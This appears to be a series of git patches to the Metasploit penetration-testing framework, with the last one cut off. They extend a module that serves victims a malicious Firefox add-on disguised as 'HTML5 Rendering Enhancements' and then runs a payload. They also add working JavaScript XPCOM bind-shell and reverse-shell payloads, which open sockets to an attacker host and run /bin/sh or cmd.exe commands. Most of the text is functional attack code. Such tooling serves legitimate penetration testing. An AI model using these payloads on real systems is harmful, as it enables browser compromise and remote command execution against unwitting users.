From 694cb11025aa34ae958c49714e452537dbffe7a0 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 2 Jan 2014 01:10:08 -0600 Subject: [PATCH 01/24] Add firefox platform, architecture, and payload. * Enables chrome privilege exploits in firefox to run a javascript cmd shell session without touching the disk. * Adds a spec for the addon_generator. --- .../exploit/remote/firefox_addon_generator.rb | 90 +++++++++++-------- lib/msf/core/module/platform.rb | 8 ++ lib/rex/constants.rb | 50 ++++++----- .../browser/firefox_xpi_bootstrapped_addon.rb | 50 +++++------ .../remote/firefox_addon_generator_spec.rb | 38 ++++++++ 5 files changed, 149 insertions(+), 87 deletions(-) create mode 100644 spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb diff --git a/lib/msf/core/exploit/remote/firefox_addon_generator.rb b/lib/msf/core/exploit/remote/firefox_addon_generator.rb index 85d3d879db..fc226c2245 100644 --- a/lib/msf/core/exploit/remote/firefox_addon_generator.rb +++ b/lib/msf/core/exploit/remote/firefox_addon_generator.rb @@ -10,63 +10,76 @@ module Msf module Exploit::Remote::FirefoxAddonGenerator + # for calling #generate_payload_exe + include Msf::Exploit::EXE + # Add in the supported datastore options - def initialize( info = {} ) + def initialize(info = {}) super(update_info(info, 'Platform' => %w{ java linux osx solaris win }, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ - [ 'Generic (Java Payload)', + [ 'Universal (Javascript XPCOM Shell)', { - 'Platform' => ['java'], + 'Platform' => 'firefox', + 'Arch' => 'firefox' + } + ], + [ 'Java Payload', + { + 'Platform' => 'java', 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ] ], - 'DefaultTarget' => 1 + 'DefaultTarget' => 0 )) - register_options( [ - OptString.new('ADDONNAME', [ true, - "The addon name.", - "HTML5 Rendering Enhancements" - ]), + register_options([ + OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]), OptBool.new('AutoUninstall', [ true, "Automatically uninstall the addon after payload execution", true - ]) + ]) ], self.class) end # @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the # 'application/x-xpinstall' MIME type - def generate_addon_xpi - if target.name == 'Generic (Java Payload)' + # @return nil if payload fails to generate + def generate_addon_xpi(cli) + if target.name =~ /Javascript/ + payload_file = nil + payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe' + payload_script = regenerate_payload(cli).encoded + elsif target.name =~ /Java / + p = regenerate_payload(cli) + return nil if p.nil? jar = p.encoded_jar jar.build_manifest(:main_class => "metasploit.Payload") payload_file = jar.pack @@ -80,6 +93,7 @@ module Exploit::Remote::FirefoxAddonGenerator | else payload_file = generate_payload_exe + return nil if payload_file.nil? payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe' payload_script=%q| var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); @@ -98,26 +112,30 @@ module Exploit::Remote::FirefoxAddonGenerator end zip = Rex::Zip::Archive.new + bootstrap_script = 'function startup(data, reason) {' xpi_guid = Rex::Text.rand_guid - bootstrap_script = %q| -function startup(data, reason) { - var file = Components.classes["@mozilla.org/file/directory_service;1"]. - getService(Components.interfaces.nsIProperties). - get("ProfD", Components.interfaces.nsIFile); - file.append("extensions"); - | - bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| - bootstrap_script << %Q|payload_name="#{payload_name}";| - bootstrap_script << %q| - file.append(xpi_guid); - file.append(payload_name); - var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. - getService(Components.interfaces.nsIProperties). - get("TmpD", Components.interfaces.nsIFile); - tmp.append(payload_name); - tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); - file.copyTo(tmp.parent, tmp.leafName); - | + + if target.name !~ /Javascript/ + bootstrap_script << %q| + var file = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("ProfD", Components.interfaces.nsIFile); + file.append("extensions"); + | + bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| + bootstrap_script << %Q|payload_name="#{payload_name}";| + bootstrap_script << %q| + file.append(xpi_guid); + file.append(payload_name); + var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("TmpD", Components.interfaces.nsIFile); + tmp.append(payload_name); + tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); + file.copyTo(tmp.parent, tmp.leafName); + | + end + bootstrap_script << payload_script if (datastore['AutoUninstall']) @@ -137,7 +155,7 @@ function startup(data, reason) { bootstrap_script << "}" zip.add_file('bootstrap.js', bootstrap_script) - zip.add_file(payload_name, payload_file) + zip.add_file(payload_name, payload_file) unless payload_file.nil? zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n") zip.add_file('install.rdf', %Q| diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index ee8122d531..af8bc8b450 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -516,4 +516,12 @@ class Msf::Module::Platform Rank = 100 Alias = "nodejs" end + + # + # Node.js + # + class Firefox < Msf::Module::Platform + Rank = 100 + Alias = "firefox" + end end diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index 93aa1f4603..049a6801b5 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -64,29 +64,30 @@ LEV_3 = 3 # # Architecture constants # -ARCH_ANY = '_any_' -ARCH_X86 = 'x86' -ARCH_X86_64 = 'x86_64' -ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64 -ARCH_MIPS = 'mips' -ARCH_MIPSLE = 'mipsle' -ARCH_MIPSBE = 'mipsbe' -ARCH_PPC = 'ppc' -ARCH_PPC64 = 'ppc64' -ARCH_CBEA = 'cbea' -ARCH_CBEA64 = 'cbea64' -ARCH_SPARC = 'sparc' -ARCH_CMD = 'cmd' -ARCH_PHP = 'php' -ARCH_TTY = 'tty' -ARCH_ARMLE = 'armle' -ARCH_ARMBE = 'armbe' -ARCH_JAVA = 'java' -ARCH_RUBY = 'ruby' -ARCH_DALVIK = 'dalvik' -ARCH_PYTHON = 'python' -ARCH_NODEJS = 'nodejs' -ARCH_TYPES = +ARCH_ANY = '_any_' +ARCH_X86 = 'x86' +ARCH_X86_64 = 'x86_64' +ARCH_X64 = 'x64' # To be used for compatability with ARCH_X86_64 +ARCH_MIPS = 'mips' +ARCH_MIPSLE = 'mipsle' +ARCH_MIPSBE = 'mipsbe' +ARCH_PPC = 'ppc' +ARCH_PPC64 = 'ppc64' +ARCH_CBEA = 'cbea' +ARCH_CBEA64 = 'cbea64' +ARCH_SPARC = 'sparc' +ARCH_CMD = 'cmd' +ARCH_PHP = 'php' +ARCH_TTY = 'tty' +ARCH_ARMLE = 'armle' +ARCH_ARMBE = 'armbe' +ARCH_JAVA = 'java' +ARCH_RUBY = 'ruby' +ARCH_DALVIK = 'dalvik' +ARCH_PYTHON = 'python' +ARCH_NODEJS = 'nodejs' +ARCH_FIREFOX = 'firefox' +ARCH_TYPES = [ ARCH_X86, ARCH_X86_64, @@ -107,7 +108,8 @@ ARCH_TYPES = ARCH_RUBY, ARCH_DALVIK, ARCH_PYTHON, - ARCH_NODEJS + ARCH_NODEJS, + ARCH_FIREFOX ] ARCH_ALL = ARCH_TYPES diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index fde97006f6..5fc3882cfb 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::EXE include Msf::Exploit::Remote::FirefoxAddonGenerator def initialize( info = {} ) @@ -20,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This exploit dynamically creates a .xpi addon file. The resulting bootstrapped Firefox addon is presented to - the victim via a web page with. The victim's Firefox browser + the victim via a web page. The victim's Firefox browser will pop a dialog asking if they trust the addon. Once the user clicks "install", the addon is installed and @@ -31,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote uninstall the addon once the payload has been executed. }, 'License' => MSF_LICENSE, - 'Author' => [ 'mihi' ], + 'Author' => [ 'mihi', 'joev' ], 'References' => [ [ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ], @@ -41,33 +40,30 @@ class Metasploit3 < Msf::Exploit::Remote )) end - def on_request_uri( cli, request ) - if not request.uri.match(/\.xpi$/i) - if not request.uri.match(/\/$/) - send_redirect( cli, get_resource() + '/', '') - return + def on_request_uri(cli, request) + if request.uri.match(/\.xpi$/i) + # browser has navigated to the .xpi file + print_status("Sending xpi and waiting for user to click 'accept'...") + if not xpi = generate_addon_xpi(cli) + print_error("Failed to generate the payload.") + send_not_found(cli) + else + send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' }) + end + else + # initial browser request + # force the user to access a directory-like URL + if not request.uri.match(/\/$/) + print_status("Redirecting request." ) + send_redirect(cli, "#{get_resource}/") + else + # user has navigated + print_status("Sending response HTML." ) + send_response_html(cli, generate_html) end - - print_status("Handling request..." ) - - send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) - return end - # If we haven't returned yet, then this is a request for our xpi, - # so build one - p = regenerate_payload(cli) - if not p - print_error("Failed to generate the payload.") - # Send them a 404 so the browser doesn't hang waiting for data - # that will never come. - send_not_found(cli) - return - end - - print_status("Sending xpi and waiting for user to click 'accept'...") - send_response( cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' } ) - handler( cli ) + handler(cli) end def generate_html diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb new file mode 100644 index 0000000000..519175e827 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -0,0 +1,38 @@ +require 'spec_helper' +require 'msf/core' + +describe Msf::Exploit::Remote::FirefoxAddonGenerator do + let(:datastore) { { 'TARGET' => 0 } } + let(:jar) { + j = double(:pack => '@JAR@') + j.stub(:build_manifest) + j + } + let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) } + let(:framework) { double(:nops => nil) } + let(:cli) { double } + + subject(:mod) do + mod = Msf::Exploit::Remote.allocate + mod.extend described_class + mod.extend Msf::Exploit::Remote::BrowserExploitServer + mod.send(:initialize, {}) + mod.stub( + :payload => payload, + :regenerate_payload => payload, + :framework => framework, + :datastore => datastore + ) + mod + end + + describe '#generate_addon_xpi' do + let(:xpi) { mod.generate_addon_xpi(cli) } + + it { should respond_to :generate_addon_xpi } + + it 'should return an instance of Rex::Zip::Archive' do + xpi.should be_kind_of Rex::Zip::Archive + end + end +end From 821aa47d7e22e0c28215eafb3e50c4983c4cfae1 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 2 Jan 2014 02:09:16 -0600 Subject: [PATCH 02/24] Add firefox paylods. * Adds support for windows or posix shell escaping. --- .../singles/firefox/shell_bind_tcp.rb | 148 ++++++++++++++++++ .../singles/firefox/shell_reverse_tcp.rb | 140 +++++++++++++++++ 2 files changed, 288 insertions(+) create mode 100644 modules/payloads/singles/firefox/shell_bind_tcp.rb create mode 100644 modules/payloads/singles/firefox/shell_reverse_tcp.rb diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb new file mode 100644 index 0000000000..67137085e7 --- /dev/null +++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# It would be better to have a commonjs payload, but because the implementations +# differ so greatly when it comes to require() paths for net modules, we will +# settle for just getting shells on nodejs. + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Bind TCP (via Firefox XPCOM script)', + 'Description' => 'Creates an interactive shell via Javascript with access to Firefox\'s XPCOM API', + 'Author' => ['joev'], + 'License' => BSD_LICENSE, + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'firefox', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the JS string to use for execution + # + def command_string + %Q| + (function(){ + Components.utils.import("resource://gre/modules/NetUtil.jsm"); + + var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + + var lport = #{datastore["LPORT"]}; + var rhost = "#{datastore['RHOST']}"; + var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"] + .createInstance(Components.interfaces.nsIServerSocket); + serverSocket.init(lport, false, -1); + var clientFound = false; + + var listener = { + onSocketAccepted: function(serverSocket, clientSocket) { + var outStream = clientSocket.openOutputStream(0, 0, 0); + var inStream = clientSocket.openInputStream(0, 0, 0); + if (clientFound) { outStream.close(); inStream.close(); } + client = true; + var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"] + .createInstance(Components.interfaces.nsIInputStreamPump); + pump.init(inStream, -1, -1, 0, 0, true); + pump.asyncRead(clientListener(outStream), null); + } + }; + + var clientListener = function(outStream) { + return { + onStartRequest: function(request, context) {}, + onStopRequest: function(request, context) {}, + onDataAvailable: function(request, context, stream, offset, count) { + var data = NetUtil.readInputStreamToString(stream, count).trim(); + var output = runCmd(data); + outStream.write(output[0], output[0].length); + } + }; + }; + + var runCmd = function(cmd) { + var shPath = "/bin/sh"; + var shFlag = "-c"; + var shEsc = "\\\\$&"; + + if (ua.indexOf("Windows")>-1) { + shPath = "C:\\\\Windows\\\\system32\\\\cmd.exe"; + shFlag = "/c"; + shEsc = "\\^$&"; + } + + var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8)}"; + var stderrFile = "#{Rex::Text.rand_text_alphanumeric(8)}"; + + var stdout = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stdout.append(stdoutFile); + + var stderr = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stderr.append(stderrFile); + + var sh = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + sh.initWithPath(shPath); + + var shell = shPath + " " + shFlag + " " + (cmd + " >"+stdout.path+" 2>"+stderr.path).replace(/\\W/g, shEsc); + + var process = Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); + process.init(sh); + process.run(true, [shFlag, shell], 2); + return [readFile(stdout.path), readFile(stderr.path)]; + }; + + var readFile = function(path) { + try { + var file = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + file.initWithPath(path); + + var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] + .createInstance(Components.interfaces.nsIFileInputStream); + fileStream.init(file, 1, 0, false); + + var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] + .createInstance(Components.interfaces.nsIBinaryInputStream); + binaryStream.setInputStream(fileStream); + var array = binaryStream.readByteArray(fileStream.available()); + + binaryStream.close(); + fileStream.close(); + file.remove(true); + + return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("").trim(); + } catch (e) { return ["",""]; } + }; + + serverSocket.asyncListen(listener); + })(); + | + end +end diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb new file mode 100644 index 0000000000..17ba2e16d4 --- /dev/null +++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# It would be better to have a commonjs payload, but because the implementations +# differ so greatly when it comes to require() paths for net modules, we will +# settle for just getting shells on nodejs. + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Reverse TCP (via Firefox XPCOM script)', + 'Description' => 'Creates an interactive shell via Javascript with access to Firefox\'s XPCOM API', + 'Author' => ['joev'], + 'License' => BSD_LICENSE, + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'firefox', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the JS string to use for execution + # + def command_string + %Q| + (function(){ + Components.utils.import("resource://gre/modules/NetUtil.jsm"); + + var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + + var host = '#{datastore["LHOST"]}'; + var port = #{datastore["LPORT"]}; + + var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"] + .getService(Components.interfaces.nsISocketTransportService); + var socket = socketTransport.createTransport(null, 0, host, port, null); + var outStream = socket.openOutputStream(0, 0, 0); + var inStream = socket.openInputStream(0, 0, 0); + + var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"] + .createInstance(Components.interfaces.nsIInputStreamPump); + pump.init(inStream, -1, -1, 0, 0, true); + + var listener = { + onStartRequest: function(request, context) {}, + onStopRequest: function(request, context) {}, + onDataAvailable: function(request, context, stream, offset, count) + { + var data = NetUtil.readInputStreamToString(stream, count).trim(); + var output = runCmd(data); + outStream.write(output[0], output[0].length); + outStream.flush(); + } + }; + + var runCmd = function(cmd) { + var shPath = "/bin/sh"; + var shFlag = "-c"; + var shEsc = "\\\\$&"; + + if (ua.indexOf("Windows")>-1) { + shPath = "C:\\\\Windows\\\\system32\\\\cmd.exe"; + shFlag = "/c"; + shEsc = "\\^$&"; + } + + var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8)}"; + var stderrFile = "#{Rex::Text.rand_text_alphanumeric(8)}"; + + var stdout = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stdout.append(stdoutFile); + + var stderr = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stderr.append(stderrFile); + + var sh = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + sh.initWithPath(shPath); + + var shell = shPath + " " + shFlag + " " + (cmd + " >"+stdout.path+" 2>"+stderr.path).replace(/\\W/g, shEsc); + var process = Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); + process.init(sh); + process.run(true, [shFlag, shell], 2); + return [readFile(stdout.path), readFile(stderr.path)]; + }; + + var readFile = function(path) { + try { + var file = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + file.initWithPath(path); + + var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] + .createInstance(Components.interfaces.nsIFileInputStream); + fileStream.init(file, 1, 0, false); + + var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] + .createInstance(Components.interfaces.nsIBinaryInputStream); + binaryStream.setInputStream(fileStream); + var array = binaryStream.readByteArray(fileStream.available()); + + binaryStream.close(); + fileStream.close(); + file.remove(true); + + return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("").trim(); + } catch (e) { return ""; } + }; + + pump.asyncRead(listener, null); + })(); + | + end +end From 1f9ac12dda78c9040d459ed7ae07b6c65c978a2b Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 2 Jan 2014 02:20:54 -0600 Subject: [PATCH 03/24] DRYs up firefox payloads. --- lib/msf/core/payload/firefox.rb | 74 +++++++++++++++++++ .../singles/firefox/shell_bind_tcp.rb | 70 +----------------- .../singles/firefox/shell_reverse_tcp.rb | 65 +--------------- 3 files changed, 81 insertions(+), 128 deletions(-) create mode 100644 lib/msf/core/payload/firefox.rb diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb new file mode 100644 index 0000000000..ba22ba35a7 --- /dev/null +++ b/lib/msf/core/payload/firefox.rb @@ -0,0 +1,74 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf::Payload::Firefox + def read_file_source + %q| + var readFile = function(path) { + try { + var file = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + file.initWithPath(path); + + var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] + .createInstance(Components.interfaces.nsIFileInputStream); + fileStream.init(file, 1, 0, false); + + var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] + .createInstance(Components.interfaces.nsIBinaryInputStream); + binaryStream.setInputStream(fileStream); + var array = binaryStream.readByteArray(fileStream.available()); + + binaryStream.close(); + fileStream.close(); + file.remove(true); + + return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("").trim(); + } catch (e) { return ["",""]; } + }; + | + end + + def run_cmd_source + %q| + var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + var runCmd = function(cmd) { + var shPath = "/bin/sh"; + var shFlag = "-c"; + var shEsc = "\\\\$&"; + + if (ua.indexOf("Windows")>-1) { + shPath = "C:\\\\Windows\\\\system32\\\\cmd.exe"; + shFlag = "/c"; + shEsc = "\\^$&"; + } + + var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8)}"; + var stderrFile = "#{Rex::Text.rand_text_alphanumeric(8)}"; + + var stdout = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stdout.append(stdoutFile); + + var stderr = Components.classes["@mozilla.org/file/directory_service;1"] + .getService(Components.interfaces.nsIProperties) + .get("TmpD", Components.interfaces.nsIFile); + stderr.append(stderrFile); + + var sh = Components.classes["@mozilla.org/file/local;1"] + .createInstance(Components.interfaces.nsILocalFile); + sh.initWithPath(shPath); + + var shell = shPath + " " + shFlag + " " + (cmd + " >"+stdout.path+" 2>"+stderr.path).replace(/\\W/g, shEsc); + + var process = Components.classes["@mozilla.org/process/util;1"] + .createInstance(Components.interfaces.nsIProcess); + process.init(sh); + process.run(true, [shFlag, shell], 2); + return [readFile(stdout.path), readFile(stderr.path)]; + }; + | + end +end \ No newline at end of file diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb index 67137085e7..d3dc07316d 100644 --- a/modules/payloads/singles/firefox/shell_bind_tcp.rb +++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb @@ -9,11 +9,13 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/firefox' require 'msf/base/sessions/command_shell' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Firefox include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -45,23 +47,16 @@ module Metasploit3 %Q| (function(){ Components.utils.import("resource://gre/modules/NetUtil.jsm"); - - var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] - .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; - var lport = #{datastore["LPORT"]}; var rhost = "#{datastore['RHOST']}"; var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"] .createInstance(Components.interfaces.nsIServerSocket); serverSocket.init(lport, false, -1); - var clientFound = false; var listener = { onSocketAccepted: function(serverSocket, clientSocket) { var outStream = clientSocket.openOutputStream(0, 0, 0); var inStream = clientSocket.openInputStream(0, 0, 0); - if (clientFound) { outStream.close(); inStream.close(); } - client = true; var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"] .createInstance(Components.interfaces.nsIInputStreamPump); pump.init(inStream, -1, -1, 0, 0, true); @@ -81,65 +76,8 @@ module Metasploit3 }; }; - var runCmd = function(cmd) { - var shPath = "/bin/sh"; - var shFlag = "-c"; - var shEsc = "\\\\$&"; - - if (ua.indexOf("Windows")>-1) { - shPath = "C:\\\\Windows\\\\system32\\\\cmd.exe"; - shFlag = "/c"; - shEsc = "\\^$&"; - } - - var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8)}"; - var stderrFile = "#{Rex::Text.rand_text_alphanumeric(8)}"; - - var stdout = Components.classes["@mozilla.org/file/directory_service;1"] - .getService(Components.interfaces.nsIProperties) - .get("TmpD", Components.interfaces.nsIFile); - stdout.append(stdoutFile); - - var stderr = Components.classes["@mozilla.org/file/directory_service;1"] - .getService(Components.interfaces.nsIProperties) - .get("TmpD", Components.interfaces.nsIFile); - stderr.append(stderrFile); - - var sh = Components.classes["@mozilla.org/file/local;1"] - .createInstance(Components.interfaces.nsILocalFile); - sh.initWithPath(shPath); - - var shell = shPath + " " + shFlag + " " + (cmd + " >"+stdout.path+" 2>"+stderr.path).replace(/\\W/g, shEsc); - - var process = Components.classes["@mozilla.org/process/util;1"] - .createInstance(Components.interfaces.nsIProcess); - process.init(sh); - process.run(true, [shFlag, shell], 2); - return [readFile(stdout.path), readFile(stderr.path)]; - }; - - var readFile = function(path) { - try { - var file = Components.classes["@mozilla.org/file/local;1"] - .createInstance(Components.interfaces.nsILocalFile); - file.initWithPath(path); - - var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] - .createInstance(Components.interfaces.nsIFileInputStream); - fileStream.init(file, 1, 0, false); - - var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] - .createInstance(Components.interfaces.nsIBinaryInputStream); - binaryStream.setInputStream(fileStream); - var array = binaryStream.readByteArray(fileStream.available()); - - binaryStream.close(); - fileStream.close(); - file.remove(true); - - return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("").trim(); - } catch (e) { return ["",""]; } - }; + #{read_file_source} + #{run_cmd_source} serverSocket.asyncListen(listener); })(); diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb index 17ba2e16d4..9cca4e226b 100644 --- a/modules/payloads/singles/firefox/shell_reverse_tcp.rb +++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb @@ -14,6 +14,7 @@ require 'msf/base/sessions/command_shell' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Firefox include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -45,10 +46,6 @@ module Metasploit3 %Q| (function(){ Components.utils.import("resource://gre/modules/NetUtil.jsm"); - - var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] - .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; - var host = '#{datastore["LHOST"]}'; var port = #{datastore["LPORT"]}; @@ -74,64 +71,8 @@ module Metasploit3 } }; - var runCmd = function(cmd) { - var shPath = "/bin/sh"; - var shFlag = "-c"; - var shEsc = "\\\\$&"; - - if (ua.indexOf("Windows")>-1) { - shPath = "C:\\\\Windows\\\\system32\\\\cmd.exe"; - shFlag = "/c"; - shEsc = "\\^$&"; - } - - var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8)}"; - var stderrFile = "#{Rex::Text.rand_text_alphanumeric(8)}"; - - var stdout = Components.classes["@mozilla.org/file/directory_service;1"] - .getService(Components.interfaces.nsIProperties) - .get("TmpD", Components.interfaces.nsIFile); - stdout.append(stdoutFile); - - var stderr = Components.classes["@mozilla.org/file/directory_service;1"] - .getService(Components.interfaces.nsIProperties) - .get("TmpD", Components.interfaces.nsIFile); - stderr.append(stderrFile); - - var sh = Components.classes["@mozilla.org/file/local;1"] - .createInstance(Components.interfaces.nsILocalFile); - sh.initWithPath(shPath); - - var shell = shPath + " " + shFlag + " " + (cmd + " >"+stdout.path+" 2>"+stderr.path).replace(/\\W/g, shEsc); - var process = Components.classes["@mozilla.org/process/util;1"] - .createInstance(Components.interfaces.nsIProcess); - process.init(sh); - process.run(true, [shFlag, shell], 2); - return [readFile(stdout.path), readFile(stderr.path)]; - }; - - var readFile = function(path) { - try { - var file = Components.classes["@mozilla.org/file/local;1"] - .createInstance(Components.interfaces.nsILocalFile); - file.initWithPath(path); - - var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] - .createInstance(Components.interfaces.nsIFileInputStream); - fileStream.init(file, 1, 0, false); - - var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] - .createInstance(Components.interfaces.nsIBinaryInputStream); - binaryStream.setInputStream(fileStream); - var array = binaryStream.readByteArray(fileStream.available()); - - binaryStream.close(); - fileStream.close(); - file.remove(true); - - return array.map(function(aItem) { return String.fromCharCode(aItem); 